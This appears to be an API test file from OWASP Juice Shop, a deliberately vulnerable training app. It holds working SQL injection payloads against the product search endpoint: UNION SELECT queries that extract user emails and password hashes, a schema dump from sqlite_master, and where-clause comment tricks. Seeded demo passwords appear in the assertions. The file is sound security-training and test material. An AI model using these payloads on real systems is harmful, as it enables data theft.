juice-shop

Форк
0
/
searchApiSpec.ts 
200 строк · 8.7 Кб
1
/*
2
 * Copyright (c) 2014-2024 Bjoern Kimminich & the OWASP Juice Shop contributors.
3
 * SPDX-License-Identifier: MIT
4
 */
5

6
import frisby = require('frisby')
7
import { expect } from '@jest/globals'
8
import type { Product as ProductConfig } from '../../lib/config.types'
9
import config from 'config'
10
const security = require('../../lib/insecurity')
11

12
const christmasProduct = config.get<ProductConfig[]>('products').filter(({ useForChristmasSpecialChallenge }) => useForChristmasSpecialChallenge)[0]
13
const pastebinLeakProduct = config.get<ProductConfig[]>('products').filter(({ keywordsForPastebinDataLeakChallenge }) => keywordsForPastebinDataLeakChallenge)[0]
14

15
const API_URL = 'http://localhost:3000/api'
16
const REST_URL = 'http://localhost:3000/rest'
17

18
describe('/rest/products/search', () => {
19
  it('GET product search with no matches returns no products', () => {
20
    return frisby.get(`${REST_URL}/products/search?q=nomatcheswhatsoever`)
21
      .expect('status', 200)
22
      .expect('header', 'content-type', /application\/json/)
23
      .then(({ json }) => {
24
        expect(json.data.length).toBe(0)
25
      })
26
  })
27

28
  it('GET product search with one match returns found product', () => {
29
    return frisby.get(`${REST_URL}/products/search?q=o-saft`)
30
      .expect('status', 200)
31
      .expect('header', 'content-type', /application\/json/)
32
      .then(({ json }) => {
33
        expect(json.data.length).toBe(1)
34
      })
35
  })
36

37
  it('GET product search fails with error message that exposes ins SQL Injection vulnerability', () => {
38
    return frisby.get(`${REST_URL}/products/search?q=';`)
39
      .expect('status', 500)
40
      .expect('header', 'content-type', /text\/html/)
41
      .expect('bodyContains', `<h1>${config.get<string>('application.name')} (Express`)
42
      .expect('bodyContains', 'SQLITE_ERROR: near &quot;;&quot;: syntax error')
43
  })
44

45
  it('GET product search SQL Injection fails from two missing closing parenthesis', () => {
46
    return frisby.get(`${REST_URL}/products/search?q=' union select id,email,password from users--`)
47
      .expect('status', 500)
48
      .expect('header', 'content-type', /text\/html/)
49
      .expect('bodyContains', `<h1>${config.get<string>('application.name')} (Express`)
50
      .expect('bodyContains', 'SQLITE_ERROR: near &quot;union&quot;: syntax error')
51
  })
52

53
  it('GET product search SQL Injection fails from one missing closing parenthesis', () => {
54
    return frisby.get(`${REST_URL}/products/search?q=') union select id,email,password from users--`)
55
      .expect('status', 500)
56
      .expect('header', 'content-type', /text\/html/)
57
      .expect('bodyContains', `<h1>${config.get<string>('application.name')} (Express`)
58
      .expect('bodyContains', 'SQLITE_ERROR: near &quot;union&quot;: syntax error')
59
  })
60

61
  it('GET product search SQL Injection fails for SELECT * FROM attack due to wrong number of returned columns', () => {
62
    return frisby.get(`${REST_URL}/products/search?q=')) union select * from users--`)
63
      .expect('status', 500)
64
      .expect('header', 'content-type', /text\/html/)
65
      .expect('bodyContains', `<h1>${config.get<string>('application.name')} (Express`)
66
      .expect('bodyContains', 'SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns', () => {})
67
  })
68

69
  it('GET product search can create UNION SELECT with Users table and fixed columns', () => {
70
    return frisby.get(`${REST_URL}/products/search?q=')) union select '1','2','3','4','5','6','7','8','9' from users--`)
71
      .expect('status', 200)
72
      .expect('header', 'content-type', /application\/json/)
73
      .expect('json', 'data.?', {
74
        id: '1',
75
        name: '2',
76
        description: '3',
77
        price: '4',
78
        deluxePrice: '5',
79
        image: '6',
80
        createdAt: '7',
81
        updatedAt: '8'
82
      })
83
  })
84

85
  it('GET product search can create UNION SELECT with Users table and required columns', () => {
86
    return frisby.get(`${REST_URL}/products/search?q=')) union select id,'2','3',email,password,'6','7','8','9' from users--`)
87
      .expect('status', 200)
88
      .expect('header', 'content-type', /application\/json/)
89
      .expect('json', 'data.?', {
90
        id: 1,
91
        price: `admin@${config.get<string>('application.domain')}`,
92
        deluxePrice: security.hash('admin123')
93
      })
94
      .expect('json', 'data.?', {
95
        id: 2,
96
        price: `jim@${config.get<string>('application.domain')}`,
97
        deluxePrice: security.hash('ncc-1701')
98
      })
99
      .expect('json', 'data.?', {
100
        id: 3,
101
        price: `bender@${config.get<string>('application.domain')}`
102
        // no check for Bender's password as it might have already been changed by different test
103
      })
104
      .expect('json', 'data.?', {
105
        id: 4,
106
        price: 'bjoern.kimminich@gmail.com',
107
        deluxePrice: security.hash('bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=')
108
      })
109
      .expect('json', 'data.?', {
110
        id: 5,
111
        price: `ciso@${config.get<string>('application.domain')}`,
112
        deluxePrice: security.hash('mDLx?94T~1CfVfZMzw@sJ9f?s3L6lbMqE70FfI8^54jbNikY5fymx7c!YbJb')
113
      })
114
      .expect('json', 'data.?', {
115
        id: 6,
116
        price: `support@${config.get<string>('application.domain')}`,
117
        deluxePrice: security.hash('J6aVjTgOpRs@?5l!Zkq2AYnCE@RF$P')
118
      })
119
  })
120

121
  it('GET product search can create UNION SELECT with sqlite_master table and required column', () => {
122
    return frisby.get(`${REST_URL}/products/search?q=')) union select sql,'2','3','4','5','6','7','8','9' from sqlite_master--`)
123
      .expect('status', 200)
124
      .expect('header', 'content-type', /application\/json/)
125
      .expect('json', 'data.?', {
126
        id: 'CREATE TABLE `BasketItems` (`ProductId` INTEGER REFERENCES `Products` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, `BasketId` INTEGER REFERENCES `Baskets` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `quantity` INTEGER, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, UNIQUE (`ProductId`, `BasketId`))'
127
      })
128
      .expect('json', 'data.?', {
129
        id: 'CREATE TABLE sqlite_sequence(name,seq)'
130
      })
131
  })
132

133
  it('GET product search cannot select logically deleted christmas special by default', () => {
134
    return frisby.get(`${REST_URL}/products/search?q=seasonal%20special%20offer`)
135
      .expect('status', 200)
136
      .expect('header', 'content-type', /application\/json/)
137
      .then(({ json }) => {
138
        expect(json.data.length).toBe(0)
139
      })
140
  })
141

142
  it('GET product search by description cannot select logically deleted christmas special due to forced early where-clause termination', () => {
143
    return frisby.get(`${REST_URL}/products/search?q=seasonal%20special%20offer'))--`)
144
      .expect('status', 200)
145
      .expect('header', 'content-type', /application\/json/)
146
      .then(({ json }) => {
147
        expect(json.data.length).toBe(0)
148
      })
149
  })
150

151
  it('GET product search can select logically deleted christmas special by forcibly commenting out the remainder of where clause', () => {
152
    return frisby.get(`${REST_URL}/products/search?q=${christmasProduct.name}'))--`)
153
      .expect('status', 200)
154
      .expect('header', 'content-type', /application\/json/)
155
      .then(({ json }) => {
156
        expect(json.data.length).toBe(1)
157
        expect(json.data[0].name).toBe(christmasProduct.name)
158
      })
159
  })
160

161
  it('GET product search can select logically deleted unsafe product by forcibly commenting out the remainder of where clause', () => {
162
    return frisby.get(`${REST_URL}/products/search?q=${pastebinLeakProduct.name}'))--`)
163
      .expect('status', 200)
164
      .expect('header', 'content-type', /application\/json/)
165
      .then(({ json }) => {
166
        expect(json.data.length).toBe(1)
167
        expect(json.data[0].name).toBe(pastebinLeakProduct.name)
168
      })
169
  })
170

171
  it('GET product search with empty search parameter returns all products', () => {
172
    return frisby.get(`${API_URL}/Products`)
173
      .expect('status', 200)
174
      .expect('header', 'content-type', /application\/json/)
175
      .then(({ json }) => {
176
        const products = json.data
177
        return frisby.get(`${REST_URL}/products/search?q=`)
178
          .expect('status', 200)
179
          .expect('header', 'content-type', /application\/json/)
180
          .then(({ json }) => {
181
            expect(json.data.length).toBe(products.length)
182
          })
183
      })
184
  })
185

186
  it('GET product search without search parameter returns all products', () => {
187
    return frisby.get(`${API_URL}/Products`)
188
      .expect('status', 200)
189
      .expect('header', 'content-type', /application\/json/)
190
      .then(({ json }) => {
191
        const products = json.data
192
        return frisby.get(`${REST_URL}/products/search`)
193
          .expect('status', 200)
194
          .expect('header', 'content-type', /application\/json/)
195
          .then(({ json }) => {
196
            expect(json.data.length).toBe(products.length)
197
          })
198
      })
199
  })
200
})
201

Использование cookies

Мы используем файлы cookie в соответствии с Политикой конфиденциальности и Политикой использования cookies.

Нажимая кнопку «Принимаю», Вы даете АО «СберТех» согласие на обработку Ваших персональных данных в целях совершенствования нашего веб-сайта и Сервиса GitVerse, а также повышения удобства их использования.

Запретить использование cookies Вы можете самостоятельно в настройках Вашего браузера.